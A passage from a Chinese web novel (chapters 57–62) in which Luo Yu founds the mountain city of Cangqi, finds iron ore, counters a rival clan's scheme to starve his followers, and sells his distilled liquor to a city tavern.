君墨竹很平静:“路都是自己选的,何必强求?”
“多谢。”
洛羽不再多言,不管君墨竹说的是不是真心话,起码眼下这件事就算定了。
“等等,先别走。”
君墨竹笑道:
“现在你是岐城的新城主,给这块地换个名字吧,新人新气象嘛。”
“换个名字?”
洛羽略加思索:“那就叫苍岐吧。”
“苍岐?”
君墨竹目光古怪:
“沧桑的沧?你这么年轻,这个名字老气了点吧。”
“苍生的苍。”
第57章燕雀亦有鸿鹄之志
营地中人声鼎沸、吵吵囔囔,洛羽麾下的士卒都在整理行囊,准备开拔,一片忙碌之景。
沈漓局促不安地站在洛羽面前:
“你,你要走了吗?”
“是的。”洛羽轻声道:
“云阳关战事结束,君家送了我一座城。西羌已经退兵,这里暂时是安全的,你们可以选择留在云阳关,也可以自己去内地生活。
我建议你们去内地吧,总归比边关安全一点。”
按照当初的约定,难民帮洛羽干活,洛羽则负责将他们带到安全的地方,现在战事平息,该让难民们自寻去路了。
“我,我可不可以跟你一起走?”
沈漓踌躇许久,终于说出了心里话:
“大家都想跟着你,别人我们信不过。还是和以前一样,我们会帮你干活、打杂、只要有口饭吃就行。”
远处有几十号难民翘首以盼,不敢吱声,生怕洛羽将他们抛弃。原本营中的奴庭难民就只有十几人,可后来随着吕青云他们的加入,再加上沈漓这群人在营中生活得不错,投靠过来的难民便越来越多,营中很多杂活都是他们在干,军卒们只要安心打仗、操练就行了。
“都跟着我?”
洛羽犹豫了:“苍岐离边关也就两百里,万一他日羌兵入侵,战火迟早会波及那,跟着我不安全。”
“我们不怕!”
沈漓抱紧怀中的小破斧:
“大家说跟着你踏实,只要有你在,我们什么都不怕。而且你有了城,总归需要人帮你干活打杂的,咱们一定能帮上忙。
就当我们求你了,行不行?”
一双大眼睛炯炯有神,语气中带着一丝迫切,再加上那张姣好的脸颊,洛羽心头莫名一动,点了点头:
“行吧,那就跟着我。丑话先说在前面,还是和以前一样,干活才有饭吃,谁要是敢偷奸耍滑,可别怪我心狠手辣。”
“知道了知道了,唠叨死了。”
沈漓压根没听完就兴奋着跑开了,朝人群奋力挥手:
“赶紧收拾行李,咱们跟着洛百户一起走!”
“噢耶!”
“大家动作都快点,哈哈!”
人群中传出了欢呼声,洛羽很是无奈,不知道从什么时候开始这群难民对自己言听计从、百般信任,真不知道是好事还是坏事。
“君家给了你三条路,没想到你选择了最难的一条。”
萧少游的声音从背后传来,跟着他一起的还有韩朔,两人的神情有些古怪。
“最难的一条路?”洛羽好奇道:“何意?”
萧少游轻笑道:
“阵斩完颜昌是大功,说不定朝廷能封你个官,赏一大笔银子,在云阳关也算是一号人物。投靠君家就更不必说了,以君墨竹对你的赏识日后定然会平步青云。
可你选择了当个小小城主,以后兵马钱粮所有东西都要自己弄,没人会给你一点点帮助。
这条路当然最难。”
“一步步来嘛,总会解决的。”
洛羽并不在意:“你之前不是说过吗,不管是朝廷还是世家门阀都靠不住,要想不成为别人的棋子、要想在这个乱世挣扎求生,那就只能自己说了算。”
这就是洛羽不投靠任何一方的原因,他要自己说了算!
“哈哈,我就猜到了。”
萧少游大笑一声,望向忙碌中的营地:
“我和韩都尉也跟着你吧,怎么样?”
“还有我们,也跟着你。”
洛羽顿时错愕:
“你们也跟着我?朝廷的官职不要了?那可是有俸禄有军饷拿的。”
“区区一个百户,我可看不上眼。”
萧少游咧嘴一笑:“虽说我以前想让你做我的下属,但经过这一个月我想通了,你比我更适合当头,所以我决定跟着你干。咱们不是朋友吗?你说了算就当是我说了算了。
哪天你飞黄腾达了,还能亏了我?”
萧少游半开玩笑似的说出了心里话,他明白只有跟着洛羽才能打造出一支铁血雄师,替父母报仇雪恨。
“我就不谈了,你知道我为什么跟着你。”
韩朔无所谓地摆了摆手,虽然不知道洛羽和武成梁是什么关系,但他知道跟着洛羽准没错。
“额,为什么?”
萧少游也愣了一下,怎么觉得这两人之间奇奇怪怪。
韩朔白了他一眼:“他会酿酒啊,跟着他有好酒喝!”
“哈哈,原来如此。”
萧少游大笑一声,拉着韩朔就走了,最后丢下一句话:
“咱们回去问问手下弟兄,愿意跟着你的都带上,既然当了城主,手下的兵自然是越多越好,就这么定了!”
洛羽目瞪口呆,当初萧少游可是以死相逼想让自己当他的下属,现在倒好,上赶着要来投靠自己,这家伙有点……
好剑。
不过他确实需要人手,萧少游能力出众、思维敏捷,韩朔性格沉稳,从军资历又久,两人跟着自己肯定能帮上大忙。
“跟着就跟着吧。”
洛羽悠哉悠哉地走向营房:“咱也翻身农民当主人。”
……
日初清晨,久违的暖阳跃出云头,给人间带来一片暖意。
云阳关城头飘扬着一面面军旗,一支四百多人的队伍浩浩荡荡地走出了东城门,沿着官道一路远行。
关外风沙卷起残旗,东去的官道旁已有零星野花,昭示着春天将至。
三人手下的士卒、奴庭的难民、还有一些城中的百姓竟然也进了队伍,这些人算是把自己的命都交给了洛羽。
洛羽驻足官道,遥遥望向云阳关,唏嘘不已。
两个多月前自己在这里投军,孤身一人,离开时身边竟然跟了几百人,这般变化真是让人感慨。
隐约间他看见了一袭墨色长衫,似乎正在朝自己挥手告别。
“古怪的家伙。”
洛羽嘟囔了一句,策马远行:
“走了,总会再回来的。”
几百人渐行渐远,眨眼间就消失在天边尽头。
君墨竹负手而立,目光玩味:
“真没想到,这家伙竟然能拉走这么多人,威望不小啊。”
伺候在旁的老管家轻声道:
“公子若真是欣赏此人,大可强行将他收入麾下啊,以君家的威严,整个陇西谁敢对您说个不字。”
“那有什么意思,强扭的瓜不甜。”
君墨竹微微一笑:
“本公子要让他心甘情愿地臣服于我,真以为城主是那么好当的吗?等他吃过几次亏就会明白,投入君家是他最好的选择。”
“可此人给岐城改名苍岐,苍生的苍,口气未免太大了些吧?”
“你不懂。”
君墨竹目光微凝:
“燕雀亦有鸿鹄之志啊。”
“此人日后必成大器!”
第58章三岐山
跋涉两百里,浩浩荡荡的队伍终于来到了阙州定州的交界处,远处群山起伏、高低错落,像是将天地劈成了两截,甚是壮观。
“这就是所谓的三岐山?”
洛羽好奇道:“怎么一边山是红的,一边山是黑的?”
“呵呵,这就是三岐山的独特之处。”
熟悉阙州地理的韩朔笑道:“所谓三岐山实际上是由三座大山组成,东面红色的是赤岐山,西面黑色的是黑岐山,正北面高耸入云的山峰称之为岐连峰,也是三山主峰。
放眼陇西三州,这里都算是排名靠前的雄山了。”
“一红一黑?”
洛羽越发疑惑,黑色山峰可以理解,一般山上长着黑松木或者有黑土就会呈现黑色,可红色是为什么?
“没人知道为什么赤岐山会呈红色,民间传说是远古时代天降大火,将山脉烧成了红色。”
韩朔接着说道:
“我没来过此地,但听说三山之间只有南面有路进出,其他地方皆是死路,除非你有本事翻山越岭。
所以别看此地位于两州交界,看似勾连两州,实际上人烟稀少,从无商队往来。”
洛羽心头咯噔一下,这么荒僻?
“罢了,偏僻点也没事,又不是不能过日子。”
洛羽振作精神,脸上带着一股期待。
不管怎么说这都是自己的城,是几百号兄弟拿命换来的地盘,只要将苍岐经营好,再混出点名声,足够完成五年之约了。
“看,那儿好像有座城池!”
蒙虎朝远处一指,山脚下有一座若隐若现的城郭,众人顿时来了精神,那就是他们的新家了,赶忙背起行囊再度启程。
等走到城池外围时所有人都傻眼了,尤其是洛羽心头一凉,脑子里只有一个念头:
被君墨竹坑了!
所谓的岐城分明是一座彻头彻尾的废城,占地虽然不小,但根本看不见一个人影。
只有一堆破破烂烂的城墙砖块、杂草丛生、苔藓密布,不知道废弃了多少年。
萧少游冷笑道:
“看来君墨竹的谢意并不真诚啊,倒像是故意为难我们。”
“我明白了。”
洛羽瞬间就想通了:
“他嘴上说着让我自己选一条路,客客气气送我们一座城聊表谢意,实际上是想让我知难而退,心甘情愿地投入君家麾下。
好深沉的心思。”
看起来风度翩翩、温文尔雅的君墨竹已经被洛羽打上了一个狡诈的标签。
“现在怎么办?”
站在一堆废墟里萧少游苦笑道:
“完全是一座废城,住都住不了。”
“既来之则安之,怕什么,大不了我们从零开始。”
洛羽朗声道:
“董川、蒙虎,你们带着大家安营扎寨,少游、韩大哥,咱们去山里转转!”
……
山脉真的很大,大到三人转悠了一天也没能逛完整个山脉,夜里就在林中席地而睡,饿了就用随身携带的干粮垫吧两口。
这里的地势确实古怪,三面环山,中间却是大片大片的平原,十分空旷,占地辽阔。
他们先去了黑岐山,正如洛羽推测的那样,山中有大量质地坚硬的黑松木,土壤也是黑色,所以远远望去是一座黑山。
但洛羽更好奇的是赤岐山,第二天一早三人就顺着山路一直往上爬,费了老半天的功夫才爬到半山腰。
赤岐山上植被稀疏,远没有黑岐山和岐连峰那么茂盛的树木花草,大片大片的岩石裸露在山体外,整体呈一种暗红色,甚至有点地方红得发黑。
“好奇怪,深山老林竟然没多少树木。”
韩朔在表达困惑,可洛羽的眼眸中却有精光闪过。
几人停在了半山腰,韩朔插着腰念叨:
“见了鬼了,老子头一次见红色的山,什么稀奇古怪的事都有。”
萧少游也嘟囔道:
“有没有感觉空气中还有一股说不出来的味道,不是泥土那种清新味。”
洛羽对二人的话置若罔闻,抽出腰间佩刀在岩石凿了起来,只听见一阵哐哐哐的清脆声响,折腾半天才弄下几块碎石。
萧少游愕然:
“你干嘛呢?”
“哈哈,哈哈哈!”
“果然被我猜中了。”
洛羽掂了掂暗红色的石块,仔细观察,然后嘴角不断上扬:
“君墨竹啊君墨竹,你真送了块好地方给我们啊!”
“你笑什么,几块破石头有什么好高兴的。”
二人茫然无比,像是在看傻子。
“这是铁矿,铁矿石!”
韩朔目光陡变:
“铁矿石?怎么可能!”
洛羽十分自信地说道:
“通常铁矿石都深埋地底,但也有少部分的矿石会随着地质变化裸露在地表。
铁矿石氧化之后会变成红褐色或者暗红色,你们去看悬崖峭壁或者岩石间的缝隙,甚至能看到锈迹。
我打赌,整个赤岐山下面蕴含着极为丰富的铁矿!”
两人惊到了,什么氧化什么地质变化的他们听不懂,但他们知道洛羽绝不可能在开玩笑。
“赚大发了!哈哈!”
三人身上的疲惫一扫而空,铁在这个时代可太重要了。
现在洛羽自己建城,当城主,以后不会再有人给他供应粮草军械,一切都得靠自己,有了铁矿石他们大可以自己打造兵器。
“这件事乃是绝密,决不能泄露出去半个字。”
“明白!”
这件事如果被其他世家知道,定会想尽一切办法来抢,他们现在还十分弱小,怎么可能斗得过那些大世家。
匹夫无罪,怀璧其罪。
“当务之急还是要考虑建城安家,几百号人总不能一直住在帐篷里吧。”
洛羽走到山边,遥望远方群山起伏:
“我的意思是,那座废城咱们就不要了,重新建一座新城!”
“建一座新城?”
韩朔愕然道:
“咱们连士卒加百姓就四百多号人,得干到猴年马月,光建四面的城墙都费力。”
“不必,我有一个更好的主意。”
“我知道你想干什么。”
不等洛羽开口,萧少游就轻声道:
“你是想将苍岐城建在山口的位置吧?”
“对!”
洛羽重重点头:
“三岐山的地势咱们看了,山间小路不提,能进山的大路确实只有南面一条路。
山峰围住四周,中间有大片的平原,别说住人了,骑马、操练都没问题。
山内还有山泉形成的溪流,足够饮水之用。
咱们沿着山口建城垒墙,从东向西将整个山口都拦起来,这样我们只需要建一面城墙,另外三面有山势作为天然屏障,能节省大量的人力物力。
一个月干不完就两个月,总会建起来的。”
“我也是这么想的。”
萧少游遥遥指向山口位置:
“咱们做一种假设,倘若有朝一日羌兵入关一直打到三岐山,那三面环山的苍岐就是易守难攻的绝佳之地,咱们大可以将所有兵力都集中在南面山口。
说句不客气的话,只要咱们想守,守多久都行!”
“妙啊,还是你们两脑子聪明。”
韩朔一拍脑门:“老子怎么就没想到。”
“那就这么定了!”
洛羽大手一挥:
“明天开始,建城安家!”
洛羽的眼神中并无任何的不满、气馁,反而充斥着斗志和昂扬。
不管有多大困难,他都要将苍岐打造成名震陇西的大城,再想办法弄一道朝廷的封官圣旨,当上正五品将军,完成五年之约,堂堂正正进入武家的大门!
第59章君墨竹第一招
说干就干,第二天山口处就忙碌起来。
山口足有四五里宽,想要靠几百人在短时间内建起城墙那是痴人说梦。
萧少游和韩朔提出的建议是先从黑岐山伐取坚硬松木,用粗壮坚硬的木桩建起一道木墙,类似于军营的营墙。
有了营墙就算有了点防御手段,然后再慢慢建造真正的城墙,这个方法当场就获得了洛羽的同意。青壮男子负责伐木、搬运、插桩,老弱妇孺就负责洗衣做饭打造,总之人人都没闲着,大家干得热火朝天。
用洛羽的话来说他们是在建造自己的小家,当然要尽心尽力。
建城的事刚开始,洛羽就找到了萧少游和韩朔:
“我有个问题一直不明白,想问问你们。我现在名义上算是城主了,这么多人都得听我指挥。
可我拿什么养活这么些人呢?吃喝拉撒都得花钱,总得有收入吧?苍岐城的收入从哪儿来?”
以前在云阳关至少还有上头发下来的军粮军饷,可现在这么多人吃饭的银子全得从洛羽的口袋里出,银子哗啦啦地往外流啊,他都有些慌了。
“你这都不知道?那你还当城主?”
萧少游和韩朔被惊到了,洛羽在他们眼里就是个大蠢蛋。洛羽尴尬无比,气急道:
“都说了我从山沟里出来的,啥都不懂,赶紧说啊!”
萧少游这才解释道:
“最简单的收入来源就是赋税了,辖境内的百姓田赋、行商商税都是我们的收入来源。”
“赋税归我们自己?不用上交给朝廷吗?”
“名义上嘛自然是要上交的。”
韩朔使了个谁都能懂的眼神:“可现在各地藩镇节度使、持节令哪有几个上交税赋的,全都截留在自己手里,朝廷也不敢说什么。
就算是要上交,那也是交给当地势力强大的门阀,以寻求他们的庇护。”
洛羽懂了,合着所谓的赋税就是保护费嘛,大鱼吃小鱼、小鱼吃虾米,说白了就是谁的实力强谁赚钱的路子就多。
听到这他才明白为何中央朝廷式微,对边关百姓的死活也不管不问,反正你们一个铜板也不交给朝廷,为何还要出兵出粮帮你们抗敌?意思意思就行了。
“那此事就好办了。”
洛羽笑道:
“君墨竹说过,附近有七八个庄子都归算是岐城辖境,现在苍岐是咱们的地盘,也就是说我可以向那些村庄收税了?”
“没错!”
“哈哈,很好,那咱们也算有收入了。”
洛羽心中的石头总算是落地了:
“韩大哥,麻烦你带人出去溜达一圈,告诉那些庄子,苍岐城换主人了,要收点税赋上来。银子也好、粮食也罢,咱们先解决燃眉之急!”
“好!”
……
一晃两天的时间过去,外出收税的韩朔总算带着人回来了。
“怎么样,收到田赋了吗?”
洛羽扫视了一圈队伍,发现大家的脸色都不是很好,当即就意识到不对劲了。
“没有。”
韩朔尴尬回道:
“附近七八个村落我们都跑遍了,基本上每个村子都有个大地主,村中田地都归他们所有。咱们挨家挨户跑了个遍,一粒粮食、一个铜板都没收上来。”
“怎么可能?”
萧少游当场眉头紧皱:
“辖境内的百姓向城主交税是天经地义的事,而且你是带兵去的,他们难道还敢拒不纳税?”
“倒不是说他们不肯交。”
韩朔苦笑道:
“他们说五天前君家派人来了一趟。”
“君家派人来了?做什么?”
“君家提前收走了三个月的田赋,所以他们不可能再交一次田赋给我们。”
“什么?”
洛羽的眼神冷了下来。
五天前,那不就是自己抵达三岐山之前吗。
合着君墨竹前脚把苍岐城送给自己,后脚就派人把田赋给收走了,难道自己还要去找君家把田赋要回来?
“几个小村庄的田赋君家可看不上。”
萧少游沉声道:
“君墨竹是故意的,就是要将我们逼上绝路。”
“哼,光凭这种手段就想逼我投入君家麾下?也把我想得太简单了点。”
洛羽冷笑道:
“走吧,咱们商量一下该如何应对!”
……
云阳关,君家大营
君墨竹捧着一本古籍随意翻阅,上了年纪的老管家恭恭敬敬地伺候在一旁。
“他应该到三岐山了吧?”
“到了。”
伺候君墨竹这么多年,老管家自然明白所谓的他是谁。
“让你去办的事怎么样了?”
老管家轻声道:
“辖境内的几个庄子都提前收了三个月的税赋,并且已经交代过他们,如果洛羽想强行收税,就让他们报君家的名号,有什么问题来找君家,总之三个月内一粒粮食也别给他。
公子您就放心吧。”
“很好。”
君墨竹放下手中书册,懒散地伸了下腰肢:
“我大概算了一下,他入军两个月靠着军功挣来的赏银最多还剩二百两,临走的时候也没带多少粮食。
四百多士兵百姓,这么多张嘴要吃饭,二百两就算全买粮食也就够吃一个月的。
收不上税赋,一个月之后他怎么办?
要想不饿死,就只能来找我。”
“公子,老奴有一事不解。”
老管家犹豫再三还是问出了心中疑惑:
“公子当初说不想强人所难,所以才给了三条路让他选,您说强扭的瓜不甜。可现在我们用这种方法逼迫他投入君家,不还是在逼迫他吗?”
“不不不,这是两回事。”
君墨竹笑道:
“我给他三条路自由选择,一来是不想强迫他加入君家、二来是想看看此人的志向如何。
他选了自己当城主这条路就说明他是一个聪明人,也是一个有傲气的人,他自认为有本事有头脑,不愿屈居人下。
我为难他、明里暗里给他使绊子其实就是本公子要跟他斗智斗勇,我相信他看得懂。断他的粮就是第一招,我出招,他接招。
有一天他接不住我的招,那就是他输了。
等他意识到自己不如我,不就会心甘情愿地投靠君家?”
“公子果然神机妙算啊。”老管家呵呵一笑:“这就是所谓的攻心为上。”
“你说对了,呵呵。收拾收拾吧,咱们启程回家。”
君墨竹笑道:
“等我们回了定州,他差不多也断粮了,其实我挺期待他会如何养活手底下的人。
如果连这一关都关不了,那就是本公子看走了眼。”
第60章生财之道
几人围坐在大石墩边上,气氛有些低沉。
沈漓有些拘谨地坐在边上,是洛羽特地让她来参加议事的。因为难民们负责做饭、分发粮食,而沈漓又是难民领头的,所以她眼下算是掌管整个后勤,最清楚队伍里还剩多少粮食。
洛羽看了一眼沈漓:
“咱们从云阳关带来的粮食还剩多少?够吃几天?”
“最多三天。”
沈漓脱口而出,她每天都会仔细盘点一下所剩粮食,一口袋都不敢漏数。
“三天。”
洛羽心中盘算了一下:
“我手里差不多还有两百两银子,这些银子要用来发军饷,还要买粮食,捉襟见肘啊。”
“军饷不急,都是跟着咱们从鬼门关边上滚过一圈的兄弟,晚两个月无妨。”
韩朔沉声道:“主要是粮食问题,每天都要伐木建墙,兄弟们体力消耗很大,不吃饭真会饿死人的。”
萧少游算了一笔账:
“四百多人,一人一天吃两斤粮,一天也得八百斤,一个月就得两万四千斤粮食,折合两百四十石。一石粮就算卖一两银子,咱们连一个月的粮草都买不足。
就算是省着吃、想办法买低价粮,但君家提前收了三个月的田赋,怎么算咱们都凑不齐三月之需的粮草。”
“这样下去肯定不行,咱们得想法子弄钱、弄粮。”
洛羽反问道:
“当城主难道只能收税?还有没有其他赚钱的法子?”
“当然可以,做生意、经商,样样都行,如果不要脸甚至能抢劫老百姓。”
萧少游苦笑道:“可现在我们连肚子都吃不饱,哪来的本钱去经商赚钱?再说了,生意哪有那么好做,三岐山不是石头就是树,难不成所有人都砍柴去卖?”
几人全都沉默了,他们都是提刀打仗的人,就算有本钱也不是做生意的料。
“唉。”
韩朔叹了口气,闷闷不乐:
“本以为跟着洛城主能天天喝好酒呢,结果现在连凉水都没得喝,失策失策。”
一句活跃气氛的玩笑话却让洛羽的目光瞬间一亮:“韩大哥说什么?”
“额,我说本来想喝你酿的好酒,结果现在连凉水都没得喝。”韩朔尴尬道:
“别当真,我开句玩笑罢了。”
“哈哈,你给我提了个醒,咱们可以卖酒啊!”
洛羽豁然开朗:
“韩大哥觉得我酿出来的酒能不能卖个好价钱?”
“酒?对啊,可以卖酒啊!如此好酒定能卖个好价钱!”
韩朔蹭的一下就站了起来,洛羽的酒是什么档次他再清楚不过了,可他很快又变得忧心忡忡:
“可要酿出这么好的酒,成本一定很高,咱们二百两银子才能酿多少?”
“哎,这个不用担心。”洛羽一摆手:“其实没什么成本,便宜得很。”
“什么?没什么成本?”
韩朔顿时瞪着眼:“你当初不是跟我说酿造此酒费时费力,成本极高吗?还用二十坛酒换走了我二十匹战马!老子到今天连一坛酒都没看到!”
见说漏了嘴,洛羽赶忙岔开话题:
“放心,以后肯定有好酒喝,咱们现在先想着赚钱的事,填饱肚子!
我想问问,附近有没有大点的、繁华些的城池,如果真的卖酒,寻常乡镇、贫苦百姓肯定是喝不起好酒的,只能卖给富人。”
“有啊,当然有。”
韩朔伸手一指:
“西南方约莫六十里就是阙州凤川城,在阙州算是排名靠前的繁华大城。三岐山是死路,无法勾连两州,而凤川城恰好是连接两地的要道之一,往来商贾络绎不绝。
城中有不少酒楼,客人很多,咱们把酒运到凤川去卖,定能赚一笔大的。”
韩朔说着说着嘴角就流出了哈喇子,看来以前没少去凤川城喝酒。
“太好了,简直是天助我也。”
洛羽心中顿时有了思路:
“沈漓,你应该知道做蒸酒锅需要哪些东西吧?去采购一些回来,咱们重新做蒸酒锅。再买十天左右的粮食,剩下的银子全部去买便宜的米酒,越多越好。
韩大哥,你带些兄弟跟着一起去。”
“所有银子全花了?”沈漓愕然道:“一分钱都不留?如果酒卖不出去,咱们可就得饿肚子了。”
“不留!”
洛羽十分坚决:
“商场如战场,要想赚钱就得学会放手一搏。
就这么干!”
……
接下来的几天营地中越发热闹,青壮男子们继续建造营墙,洛羽忙活着蒸酒。
一共十口蒸酒锅,是洛羽带着沈漓一起搭建的,主要是自己一个人实在忙不过来,他特地叮嘱沈漓此法决不能外传。
沈漓很懂事,明白洛羽能酿出好酒一定与蒸酒锅有关,小丫头甚至用性命担保绝不会往外说一个字。
韩朔带人从村民手里收购了大量米酒,都是自家酿造,价格低廉,也就半两银子一坛,整整拉回来两三百坛,堆满了军帐。
沈漓带着一群妇人没日没夜地蒸馏米酒,尽心尽力,她很清楚这批酒决定了大家会不会饿死在荒郊野岭。
到了第四天,第一排营墙总算是建好了,沿着山口从东向西插上一排近两人高的木桩。从现在起整座山脉算是被封了起来,只有越过这道营墙才能进入大山内部。
夜幕缓缓降临,所有帐篷都移到了营墙北面,所是有了一层简单的防护。
劳累多日,众人精疲力尽地坐在地上,难得有了休息的时间,一堆堆篝火照亮了他们的脸颊,满头汗水。
虽然累,但他们很开心,起码算是有个安身立命的地方。
洛羽将酿好的第一坛酒搬了出来,每人倒了一碗,满满当当,酒香味弥漫全场。
不管是爱酒的老兵还是没喝过酒的妇孺百姓,鼻子都在不停地嗅,光这么一闻就知道此酒不凡。
洛羽爬上粮堆,从高处望向全场,面带歉意:
“大家从云阳关大老远地跟着我来苍岐,结果却让你们露宿荒野,眼下营中存粮也不多,甚至会让你们饿肚子。
是我洛羽对不住你们,辜负了你们的信任!”
以前的洛羽绝不会说出这种话,可自从几百人选择跟着他之后,心中莫名觉得多了重担,他得替这些人考虑,有义务让他们更好的活下去。
“城主大人,莫要这么说。”
一位就最开始就跟着洛羽的难民老头颤颤巍巍的说道:
“如今这世道能有人收留我们、给口饭吃已经是天大的恩情了,苦点累点算什么?谁还没饿过肚子了?
您没有对不住咱们,是咱们的感谢城主给了条活路。”
“对,您收留我们,我们干活天经地义,没什么累不累的。”
人群中响起了无数附和声。
经历过一场场战事、两个多月的相处,他们明白洛羽虽然有时候会冷酷、会不留情面,但实则心存善意,起码会把他们当人看
他们完全信任洛羽!
“感谢大家的信任,我在这里向大家保证,以后苍岐会成为陇西最大、最繁华的地方!
你们每个人都能吃饱、穿暖、过上安生日子!”
洛羽心中触动,高高举起酒碗,朗声喝道:
“从今以后这里就是我们的家!”
“为了咱们的家,干了!”
“干!”
第61章听雨楼,三锅头
凤川城,阙州境内排得上号的繁华城郭。
洛羽走在城内的街道上不由得感慨自己是个没见过世面的乡巴佬,车水马龙之景,店铺繁华之盛远胜云阳关,令人目不暇接。
“之前我觉得云阳关已经是天底下最大的城关了,如今看到凤川城才知道人外有人、城外有城啊,以后肯定要带爹娘来看看。”
小伍抱着个酒坛子跟在身后,看什么都稀奇,左瞅右瞅,一双眼珠子都快不够用了。
“等你爹娘到了苍岐就带他们来看看,也让老人家享享福。”
洛羽面带微笑,跟着他到苍岐的将士们都有家人,他已经让所有人抽空将家人接到苍岐一起生活。
一来让将士们家人团聚、二来也是为了充实苍岐的人口。
萧少游对洛羽的决定并不理解,他觉得养活三四百人都困难,再把家人都接过来粮食怎么够吃?
但洛羽有自信,自己的酒一定能大卖!粮食的问题会迎刃而解。
两人兜兜转转,最后停在了一座高达四层的酒楼门外,门口高悬一块匾额,大书三字:
听雨楼。
朱漆雕花的大门两侧悬着红纱灯笼,飞檐青瓦间雕刻着些许古朴的花纹,酒旗在风中翻卷,露出一个酣醉的“酒”字。
店里的伙计肩搭白巾,在门口迎来送往,脸上堆满了笑意。
“就是这了。”
洛羽站定,面色古怪,听雨二字用来作为一个酒楼的名字还真是稀奇。
店小二眼尖,赶忙迎了上来:
“客官您是打尖还是住店,本店佳酿十里香在凤川城小有名气,要不要试试?”
“不喝酒,也不住店,我与你们掌柜是旧相识,今天来找他。”
洛羽从怀中摸出块碎银子扔给他:
“有正事,可别耽误了。”
一见有银子,伙计的眼睛都亮了,哪还管真假,赶忙侧身让路:
“公子里面请,小的这就去请掌柜。”
……
古色古香的包房里,洛羽独自一人,正襟危坐,小伍搬来的那坛酒摆在桌中央。
洛羽在不断回忆这些日子打听到的消息,能不能做成买卖就看今天了。
少倾
门外响起了脚步声,还传来一声询问:
“人呢?”
“掌柜的,在里面。”
“嘎吱。”
房门轻轻推开,走进一位身穿锦衣、眉清目秀的年轻男子,这么大的一座酒楼,掌柜的竟然如此年轻。
“我们似乎从未见过吧?”
年轻男子的眼眸中闪过一抹疑惑:
“在下听雨楼江殊,敢问兄台是?”
“外面都说听雨楼的掌柜十分年轻,今日一见果然不虚。”
洛羽自报家门:
“苍岐,洛羽。”
“你就是洛羽!”
江殊顿时错愕:
“杀了西羌大将完颜昌的百夫长,新城苍岐的洛城主?”
洛羽阵战完颜昌、死守云阳关的事迹早已在阙州传遍了,整座风川城谁不知道洛羽二字?
“贸然前来,还请见谅。”
洛羽轻轻一招手:“江掌柜请坐。”
明明是人家的地盘,洛羽却表现得自己是个主人,气势上先压了江殊一头。
江殊略带拘谨,十分客气:
“不知洛城主大驾光临,有何贵干?”
“不敢当,只是想和江公子交个朋友。”
“交朋友?明白了。”
江殊目光闪烁,轻声喝道:“来人,取五十两白银来。”
很快就有下人捧来五大锭银子,江殊轻轻往前一推:
“以后在下与洛城主就是朋友了,些许薄礼,不成敬意。”
望着白花花的银两,洛羽嘴角微翘:
“怎么,把我当成只会敲诈勒索的兵痞军头了?”
江殊神色微凝,没有说话。
边关大大小小的军头回了内地经常惹是生非,今日砸了这家酒楼、明天带着刀往你大厅一坐耍无赖。
没有实力背景的店家敢怒而不敢言,只能白送些银两,就当是花钱消灾了,这种事屡见不鲜。
“说实话,五十两白银我可看不上眼。”
洛羽翘起二郎腿:“今日来是为了和江公子谈一桩买卖。”
“买卖?”
江殊这下真的好奇了:
“洛城主是从军之人,与我一座酒楼能谈什么买卖?”
“我这有一种好酒,想卖给你。”
洛羽指了指桌上的酒坛:
“城中各家酒楼都有自家的招牌,听雨楼的十里香同样小有名气,但我敢说,我的酒胜过全城任何一家酒楼的酒。
江掌柜可以验验货。”
江殊将信将疑,随手解开酒坛的封皮,一股酒香瞬间弥漫满屋。
他的表情终于变了,盛出半杯酒轻轻抿了一口,顿时脸颊泛红,神情错愕:
“当真是好酒啊,酒香醇厚、酒味辛辣、入喉爽烈,后劲十足。”
“江公子果然识货,此酒是用祖传秘法酿造,整个陇西地界仅我一家。”
洛羽嘴角微翘:
“江掌柜是生意人,应该明白此酒能给你带来多大的好处。
五两银子一坛酒,这笔买卖如何?”
江殊的脑筋急速转动,寻常的米酒撑死一两银子一坛,就算是十里香也卖不到二两银子,五两算是高价了。
可此酒值这个价!
有了好酒,酒楼的客人就会越来越多,凭自己的直觉,此酒定能在凤川城一炮而红。
“有个问题想请教洛城主。”
江
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殊并没有直接回答,而是提出了自己的疑问:
“城中大大小小的酒楼有数十家,再小点的酒肆更是数不胜数,为何选择把酒卖给听雨楼?”
洛羽随口答道:
“听雨听雨,我单名一个羽字,听起来亲切。”
江殊愕然,苦笑一声:
“洛城主莫要玩笑,江某想听真话。”
洛羽这才认真起来:
“我这是比大买卖,寻常小店可吃不下。在城中唯有你听雨楼和鼎香居生意最好,规模最大。
若是合作,只能找你们。”
江殊眉头微挑:
“满城皆知风川最好的酒楼是鼎香居,照洛城主的说法,应该找他们合作才对。”
“我听说一件事。”
洛羽突然话锋一转:
“鼎香居掌柜得有背景,所以才能在凤川城独占鳌头。
自从你父亲去世,你接手酒楼之后,他们对听雨楼不断打压,近一年来的生意每况愈下。
是吗?”
既然要做生意,洛羽自然会查一遍听雨楼的底细。
“是。”
江殊坦然承认,并没有任何遮掩。
“听雨楼有了此酒,生意会迅速好转,你比鼎香居更需要这个酒。”
洛羽神色玩味,点到为止:
“我认为雪中送炭胜过锦上添花。
这个理由你满意吗?”
“懂了。”
江殊没再多问什么,干脆利落:
“五两就五两,洛城主手中有多少货?”
“一百坛。”
洛羽竖起右手:
“五百两,吃得下吗?
而且丑话我说在前头,五两银子的价格是因为第一次合作给的优惠价,后面就是八两一坛了。”
“小意思。”
江殊再度将五十两银子推了过来:
“这就算是定金了,只要酒是好酒,我听雨楼就舍得花这笔银子。”
“很好,我喜欢爽快人。”
洛羽施施然站起身:
“那就祝我们合作愉快,对了,此酒你卖归卖,但绝不能跟任何人透露是我卖给你的。
千万保密!”
洛羽担心君墨竹又在背后使坏,所以先保密再说。
“放心吧,在下心中有数。”
江殊微微一笑,又突然想起来了什么:“咳咳,洛城主,此酒何名?”
洛羽表情一僵,糟糕,忘了起名字!
“就叫,三锅头吧。”
“三锅头?”
江殊愕然,这个名字怎么感觉像是随口胡诌?
“没错,三锅头。”
洛羽推门而去,留下一首诗:
三锅烈酒酿春秋,
一口醇香解万愁。
豪情尽在杯中酒,
天地悠悠任我游。
谁喝谁上头!
第62章军制改编
三天,短短三天的时间三锅头就在凤川城卖爆了。
听雨楼每天人满为患,很多人慕名而来,指名道姓要尝尝所谓的好酒有多好。有些人平时能喝上好几斤,结果三锅头喝不了一壶就晕乎乎的,飘飘欲仙,这种感觉更是让三锅头名声大噪。
而这一切的幕后主使洛羽却不以为意,始终待在苍岐督造新城,在他看来卖爆是意料之中的事,无非就是找一个好的销售渠道。
听雨楼就是他选中的合作对象。
洛羽将萧少游他们叫到了军帐里,直奔主题:
